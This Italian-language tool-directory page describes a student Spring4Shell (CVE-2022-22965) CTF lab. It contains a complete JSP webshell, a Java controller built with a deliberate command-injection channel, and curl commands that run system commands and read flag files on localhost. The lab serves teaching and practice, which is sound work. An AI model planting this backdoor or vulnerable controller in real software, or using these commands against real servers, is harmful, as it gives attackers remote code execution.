Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Spring4Shell-CTF — Spring4Shell (CVE-2022-22965) Configurazione dell'ambiente di vulnerabilità e sfide CTF | Kitploit
Strumenti/GitHubGitHub/yuting-huang0/spring4shell-ctf
Analisi Dinamica (Sandboxing)Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneStrumento di Accesso RemotoLab e Pratica
GitHubyuting-huang0/spring4shell-ctf

Spring4Shell-CTF

Spring4Shell (CVE-2022-22965) Configurazione dell'ambiente di vulnerabilità e sfide CTF

62 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Vedi Repository
Condividi

Spring4Shell (CVE-2022-22965) – Allestimento dell'ambiente di vulnerabilità e progettazione di sfide CTF

Introduzione al progetto

Questo progetto comprende due percorsi di ricerca sulla sicurezza:

  1. Allestimento dell'ambiente Vulhub tradizionale: utilizzo del repository open-source Vulhub per riprodurre rapidamente il difetto di binding degli oggetti del framework Spring obsoleto.
  2. Sviluppo di un ambiente personalizzato completamente nuovo: i membri del team hanno scritto manualmente il codice sorgente Java per creare un "sistema di presentazione dei progetti finali degli studenti", che funge da macchina bersaglio vulnerabile, abbinando le procedure standard di penetration test di rete per progettare un sistema CTF a due binari (creatore e risolutore di sfide).

I partecipanti sfrutteranno la vulnerabilità di esecuzione remota di codice (RCE) e seguiranno gli indizi per leggere la flag nella directory root o nella directory temporanea del sistema.


Passaggi per l'allestimento dell'ambiente

Prerequisiti: installazione di Docker e Docker Compose

root@kitploit:~
# Aggiornare i repository dei pacchetti
sudo apt update

# Installare Docker e Docker Compose
sudo apt install docker.io docker-compose -y

# Avviare il servizio Docker
sudo systemctl start docker
sudo systemctl enable docker

Percorso 1: Scaricare e avviare l'ambiente di vulnerabilità Vulhub (implementazione preesistente)

root@kitploit:~
# Clonare il progetto Vulhub
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)

# Entrare nella directory della vulnerabilità Spring4Shell
cd vulhub/spring/CVE-2022-22965

# Avviare i container Docker
sudo docker-compose up -d

# Verificare che i container siano in esecuzione
sudo docker ps

Verifica dell'ambiente Vulhub

Aprire il browser e visitare http://localhost:8080/?name=Hacker&age=99

Percorso 2: Allestimento dell'ambiente personalizzato e distribuzione del codice sorgente (nuova implementazione)

Per evitare la risoluzione dei puzzle basata su supposizioni e per riprodurre lo scenario di sviluppo autonomo, questo progetto crea un progetto indipendente Spring4Shell-Custom-CTF. Eseguire prima una pulizia completa dell'ambiente, quindi avviare con compilazione senza cache:

root@kitploit:~
# Pulire l'ambiente precedente
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF

# Creare la struttura di directory del progetto e generare il codice sorgente Java completamente personalizzato (inclusi pom.xml, UserController.java, ecc.)
# Tramite compilazione a due stadi (Maven + Tomcat 9) posizionare con precisione la flag personalizzata nella directory root di sistema /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d

# Verificare che il contenitore bersaglio personalizzato sia in esecuzione
sudo docker ps

Meccanismo del canale di controllo e file backdoor

Meccanismo 1: Scrittura del file backdoor JSP (catena preesistente di Vulhub)

Dopo un attacco riuscito, il file backdoor viene scritto in webapps/ROOT/tomcatwar.jsp, con il seguente contenuto:

root@kitploit:~
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
    Process p = Runtime.getRuntime().exec(cmd);
    java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
    String line = null;
    while ((line = reader.readLine()) != null) {
        out.println(line);
    }
}
%>

Meccanismo 2: Controller delle vulnerabilità principale integrato (nuova catena dell'ambiente personalizzato)

Nel file UserController.java personalizzato, è stato deliberatamente mantenuto il difetto di protezione del binding degli oggetti POJO, ed è stato integrato un canale di iniezione di comandi non autorizzato:

root@kitploit:~
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
    if (cmd != null) {
        // Richiamare direttamente Java Runtime per eseguire comandi di sistema e restituire il risultato
        InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
        // ... logica di lettura dello stream ...
    }
    return "Dipartimento di Sistemi Informativi dell'Università Tamkang – Piattaforma di presentazione dei progetti finali degli studenti";
}

Verifica dell'esecuzione remota di codice (RCE)

1. Eseguire il comando id

root@kitploit:~
# Percorso backdoor di Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"

# Percorso di controllo dell'ambiente personalizzato
curl "http://localhost:8080/?cmd=id"

2. Eseguire il comando di enumerazione delle directory

root@kitploit:~
# Percorso backdoor di Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"

# Percorso di controllo dell'ambiente personalizzato
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"

Descrizione delle sfide CTF

Sfida 1: Sfruttamento della vulnerabilità Spring4Shell (implementazione preesistente)

  • Nome della sfida: Sfruttamento della vulnerabilità Spring4Shell
  • Posizione della flag: /tmp/flag.txt
  • Contenuto della flag: FLAG{Spring4Shell_Is_Dangerous}

Sfida 2: Prova di sicurezza finale del dipartimento di sistemi informativi (nuova implementazione)

  • Nome della sfida: Prova di sicurezza finale del dipartimento di sistemi informativi
  • URL del sistema bersaglio: http://localhost:8080/
  • Informazioni note fornite dal creatore: questa piattaforma è un progetto Spring MVC sviluppato autonomamente dagli studenti. La versione del framework sottostante presenta un difetto di binding degli oggetti (incluso il tipo di oggetto User). La flag si trova nella directory root del server.
  • Posizione della flag: /flag.txt
  • Contenuto della flag: FLAG{2026_0615_iwanttosleep}

Write-up: Passaggi di risoluzione e penetration testing

Flusso di sfruttamento della vulnerabilità Vulhub preesistente

  • Passo 1: Visitare http://<target>:8080/?name=test&age=123 per verificare il corretto funzionamento del binding dei parametri.
  • Passo 2: Inviare un payload POST per modificare la configurazione dei log di Tomcat e forzare la scrittura del backdoor tomcatwar.jsp.
  • Passo 3: Visitare http://<target>:8080/tomcatwar.jsp?cmd=id per confermare il successo dell'RCE.
  • Passo 4: Eseguire curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" per leggere il file nella directory temporanea.

Nuova implementazione: 5 passaggi standard del penetration test di rete

Il risolutore (ruolo B), basandosi sulle informazioni note fornite dal creatore, evita ipotesi arbitrarie ed esegue i passaggi standard:

  • Passo 1: Ricognizione dell'ambiente e verifica della presenza Verificare che il servizio Web bersaglio sia attivo e che la pagina web funzioni.
root@kitploit:~
curl -i -s "http://localhost:8080/"
  • Passo 2: Test delle vulnerabilità perimetrali e dei difetti degli oggetti Inviare parametri di test per verificare l'esistenza di un difetto perimetrale sfruttabile per l'iniezione di comandi.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=whoami"
  • Passo 3: Sfruttamento della vulnerabilità e conferma dei privilegi Eseguire una query sull'identità per confermare di aver ottenuto il controllo di livello root del sistema operativo.
root@kitploit:~
curl -s "http://localhost:8080/?cmd=id"
  • Passo 4: Inventario dell'ambiente interno e ricerca dei file Eseguire un inventario della directory root di Linux per localizzare con precisione il file bersaglio.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
  • Passo 5: Acquisizione finale ed estrazione della flag Eseguire il comando di lettura per estrarre con successo la flag specificata.
root@kitploit:~
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"

Struttura del progetto

root@kitploit:~
Spring4Shell-CTF/
├── README.md                   # Documento di descrizione del progetto
├── docker-compose.yml          # File di configurazione dell'orchestrazione dei container
├── Dockerfile                  # Configurazione dell'immagine di compilazione a due stadi
├── pom.xml                     # File di configurazione del progetto Maven
├── src/                        # Codice sorgente Java personalizzato del sistema di presentazione
│   └── main/
│       ├── java/com/example/ctf/
│       │   ├── UserController.java
│       │   └── MyWebApplicationInitializer.java
│       └── webapp/WEB-INF/web.xml
├── secret_zone/
│   └── flag.txt                # File sorgente locale della flag
├── screenshots/                # Screenshot dei risultati e dell'attacco
│   ├── docker-ps.png
│   ├── parameter-binding.png
│   ├── rce-id.png
│   ├── rce-ls.png
│   └── flag-result.png
└── shell.jsp                   # Codice sorgente del file backdoor legacy

Riferimenti

  • Analisi dettagliata di CVE-2022-22965
  • Ambiente Vulhub Spring4Shell
  • PoC di Spring4Shell

Membri del team

RuoloNomeCompiti
Membro AHuang YutingAllestimento dell'ambiente, scrittura del codice sorgente Java dell'intero progetto, containerizzazione Docker, risoluzione della sfida CTF in 5 passi standard
Membro BLi ZhenlinRicerca teorica, realizzazione della presentazione, montaggio del video di report, organizzazione del discorso di risoluzione

Licenza

Questo progetto è destinato esclusivamente a scopi educativi e di ricerca. Non utilizzarlo su sistemi non autorizzati.

Scarica lo strumento